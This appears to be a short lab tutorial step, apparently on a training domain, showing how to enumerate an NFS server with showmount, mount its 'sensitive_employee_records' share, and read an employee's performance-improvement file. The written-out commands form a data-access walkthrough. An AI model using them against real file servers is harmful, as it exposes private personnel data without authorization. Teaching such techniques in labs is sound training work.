Let's exfiltrate some data

Now we’ll go a step deeper and review the full results of our port scan. One particularly interesting finding is what appears to be a fileserver hosted on nfs.fdlabs.dev

Run showmount -e nfs.fdlabs.dev to list out all the shares hosted on that fileserver

The share named sensitive_employee_records looks interesting, lets mount it by running sudo mkdir /mnt/data && sudo mount nfs.fdlabs.dev:/sensitive_employee_records /mnt/data

Finally we’ll explore the share and access some sensitive data:

1. Run find /mnt/data to list the contents of the share
2. Run cat /mnt/data/performance_improvement_plans/kevin.txt to view one of the employee records